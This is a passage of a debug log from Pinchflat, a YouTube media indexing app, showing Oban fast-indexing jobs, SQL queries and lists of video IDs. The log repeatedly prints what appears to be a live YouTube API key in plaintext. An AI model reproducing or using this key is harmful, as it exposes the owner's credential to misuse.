"djIufZ7Fyms", "tn_SdPx3nyE", "QbwgQSwMSGM", "JPv5FWCYdXc", "g39AagVW0s0", "HMKKPMSuo08", "ZpsJkhk9uBM", "jIseIpxnKUM", "XzJ2qK5DX18", "a7mNUTslJNA", "ovIykchkW5I", "9amJuvb3grU", "qvpXpCvkqbc", "DmQ4Dqxs0HI", "ldaescGA1dY", "kzEHFuVeYS4", "D5xX6nRWDko", "XRVA5PMSKKE", "os4DcbpL0Nc", "QOJfyp0KMmM", ...] 16:37:36.744 [debug] QUERY OK source="media_items" db=0.2ms idle=87.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [23] 16:37:36.744 [debug] QUERY OK source="tasks" db=0.1ms idle=88.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800025, 23, ~U[2026-02-10 22:37:36Z], ~U[2026-02-10 22:37:36Z]] 16:37:36.745 [info] {"args":{"id":23},"id":3799986,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":89548,"event":"job:stop","queue_time":530461,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:38.657 [info] {"args":{"id":10},"id":3799988,"meta":{},"system_time":1770763058657753149,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:38.657 [info] {"args":{"id":34},"id":3799987,"meta":{},"system_time":1770763058657712143,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:38.658 [debug] QUERY OK source="sources" db=0.1ms idle=779.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 16:37:38.658 [debug] QUERY OK source="sources" db=0.2ms idle=779.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 16:37:38.658 [debug] QUERY OK source="settings" db=0.0ms idle=779.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:38.658 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:38.658 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:38.658 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:38.658 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:38.658 [debug] Fetching recent media IDs from YouTube API for playlist: UU6iWKC08iw9K-R6Wh5pbZNQ 16:37:38.658 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:38.658 [debug] Fetching recent media IDs from YouTube API for playlist: UUBJycsmduvYEL83R_U4JriQ 16:37:38.658 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:38.659 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:38.659 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:38.659 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:38.766 [debug] QUERY OK source="media_items" db=0.6ms idle=107.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [34, "vi-cAZvD08s", "N8b_JrkIrFA", "_C82HmWXOHU", "CMt516aquG4", "ZKjWOV_XX9s", "d4oDnYq99GM", "twsawZkIW30", "4-uV8bXI-3I", "MkbjGfPsqOs", "3IK96Cvv4Xw", "hXcwGoM5Pdk", "TMXlLYjFhM4", "O3OTzFBpCz8", "6_dgTAazOpQ", "XfgkEI70ycc", "YbFc28Y7tRU", "EwlIKSA-Q9o", "TwZXPWxr7xc", "EDhRsprneR0", "MFm1EYcMUzw", "1nOQUJRYKMQ", "U1TjlDmDwMQ", "JgFsGozkIdM", "HHWpREejF3E", "Qvl-cwj4sMA", "OqUS5j6MZqg", "FI7U_i9rvK8", "_w0m6l0VB1w", "5S-b--SGYzU", "WSO46GKHVqM", "5UPsu6NftAM", "3JQanAa2Nks", "koZAl2eR0uc", "MYsZBQBEyH8", "g5d6Wc6d9zQ", "62_eib3AXak", "rpQOl4GgqcU", "6VXR5DN717U", "rubXAQS9nK8", "-da0DmLmZ0c", "89Lpe1IkOo4", "gWE6ciTaGpQ", "zfkT5P6jOYg", "n-7fOF9NmRo", "PSOlfw1a7wY", "K0G5S7C6XIE", "eYE9Py0LE3Y", "_KePakgcsnE", "lHECiTguosg", ...] 16:37:38.768 [debug] QUERY OK source="media_items" db=0.9ms idle=108.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 16:37:38.768 [debug] QUERY OK source="tasks" db=0.0ms idle=109.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800026, 34, ~U[2026-02-10 22:37:38Z], ~U[2026-02-10 22:37:38Z]] 16:37:38.768 [info] {"args":{"id":34},"id":3799987,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":111032,"event":"job:stop","queue_time":546937,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:38.875 [debug] QUERY OK source="media_items" db=0.6ms idle=105.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [10, "zPAY2VxfFBk", "Qr4anBkL2_A", "LXmNeVLM4e4", "vZdbbN3FCzE", "DqAKQwagCDg", "PTd98UnJnnU", "TVsounscj4U", "HLUamwXQ218", "Jh9pFp1oM7E", "v-sCZN3FbR0", "NC1nzXq6Rh4", "trsHTKqmZOk", "sfyL4BswUeE", "Mb6H7trzMfI", "Qqyp00JPJZI", "KW21q_7U6Ao", "n4Xe6yQ1jIs", "RvP-uVNwnXo", "jrzK4xL_W4Q", "2MdQWo9fHZs", "j31dmodZ-5c", "PTf_Z8A2Usc", "v5lc7UAAats", "rU9aqBv0YdY", "rZMMySvsKAA", "xIFkrVU5Krk", "eou_g_cYCew", "Tl8RS0sR-qA", "F1zYatpqNSc", "GAdT6gYE54U", "rng_yUSwrgU", "q0aFOxT6TNw", "tDARtYjUiHs", "7gtc1DW2Tgo", "s0EbxhQYeCA", "GB0b6KFZVq0", "idEAABFzpfg", "_yOTYsFlRQY", "XUdic3Mwd2k", "oeHtfMFdzIY", "i63u-iAnhuk", "eCR17sBh-Qw", "269OsrzG3Ew", "-7X5KukvABc", "We2ZD0-IXPM", "AphNalSmvlk", "FXrcFeuYtq8", "rCllEeHXjUw", "bMou1qUMHC4", ...] 16:37:38.878 [debug] QUERY OK source="media_items" db=2.4ms idle=107.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 16:37:38.879 [debug] QUERY OK source="tasks" db=0.1ms idle=104.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800027, 10, ~U[2026-02-10 22:37:38Z], ~U[2026-02-10 22:37:38Z]] 16:37:38.879 [info] {"args":{"id":10},"id":3799988,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":221352,"event":"job:stop","queue_time":406116,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:39.658 [info] {"args":{"id":9},"id":3799989,"meta":{},"system_time":1770763059658774557,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:39.658 [info] {"args":{"id":8},"id":3799990,"meta":{},"system_time":1770763059658813940,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:39.659 [debug] QUERY OK source="sources" db=0.1ms idle=779.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [9] 16:37:39.659 [debug] QUERY OK source="sources" db=0.1ms idle=779.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [8] 16:37:39.659 [debug] QUERY OK source="settings" db=0.0ms idle=773.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:39.659 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:39.659 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:39.659 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:39.659 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:39.659 [debug] Fetching recent media IDs from YouTube API for playlist: UUY1kMZp36IQSyNx_9h4mpCg 16:37:39.659 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:39.659 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:39.659 [debug] Fetching recent media IDs from YouTube API for playlist: UU0KfjyvabuE2J-RBC6ko2Lw 16:37:39.659 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:39.659 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:39.659 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:39.779 [debug] QUERY OK source="media_items" db=0.6ms idle=119.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [9, "kgSHJhX6ly0", "X_rh2S74UJs", "c4dH8MpXYH4", "lSDoCbQsKxY", "qsJgJjOG5tY", "lNOjw3KRsqg", "oZOCmEDROHY", "AGUO3YQ_Y38", "jjpjjcMeujM", "jfUU24gaqNg", "pLtHyLlLt4Y", "PrWBvvwZ-4o", "0XgcOz95hTs", "ZGhPz6FINWA", "oSfubCtcyHo", "q2C1JpQi5G4", "mnDe3BaEBxc", "D1sCU41SRVU", "3x0MQxcYqmE", "dmr0Q5ambKk", "uDVygnvQzLI", "prjayUu9qMQ", "mJZldCMZhyA", "i41gbn5zmqc", "KRhofr57Na8", "1IotjpIZvAg", "v1FNHkt0ISk", "RkX6iRhYOEM", "eW8ZNkuLhZw", "9IiYOTzJ2uw", "paHr1oLaqJ4", "aL6P0ChwcHg", "iQJfOkDUvJM", "1QAmBamacU4", "qr1AvisQcV8", "tt_l_-5_8WU", "RYeNu159Sgc", "pzRH6JbphrI", "EfSw0_OxCGY", "PtIChOU86Xs", "0rVF_cl9trE", "g6tlNyr5sl8", "SUnNPS3rBXk", "f7hHtuS7ygY", "qyIzUOVG840", "U1MigIJXJx8", "IQJL3htsDyQ", "sLy-x38ILZE", "p7f8oR5ELwk", ...] 16:37:39.781 [debug] QUERY OK source="media_items" db=0.5ms idle=120.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [9] 16:37:39.781 [debug] QUERY OK source="tasks" db=0.1ms idle=121.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800028, 9, ~U[2026-02-10 22:37:39Z], ~U[2026-02-10 22:37:39Z]] 16:37:39.782 [info] {"args":{"id":9},"id":3799989,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":123052,"event":"job:stop","queue_time":466041,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:39.943 [debug] QUERY OK source="media_items" db=0.6ms idle=160.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [8, "8eWLi8Sm0H4", "cz-4H9vUEk4", "wobociFUM1E", "Za9PGELm5UQ", "79OTRGiCElE", "7oA7zyIxBkk", "H_D7GXUeHGo", "x57ds5lx_XI", "LlEL2Hb1VtQ", "4wgW-Fxbf4M", "NQaWtBdlwqI", "NfIuDxt-IyI", "gv__3ei1qb4", "4Pv9afb1HsY", "fSTBcDfNAGk", "b5thWhoEJUc", "11JEyjWPKkM", "abIWwY51RX8", "C8rTYj_jC4A", "xQvQH0GH6GM", "UAF_AGEOMRw", "aq13trnsgq4", "oVsMfMH9D6A", "h4KqzaZnx5U", "gosW702fFg4", "FbZAce_ZO1o", "8FHuMjmBgMQ", "BDjocv-3EKQ", "JT5RkjpgC10", "dtJtrmgl0hA", 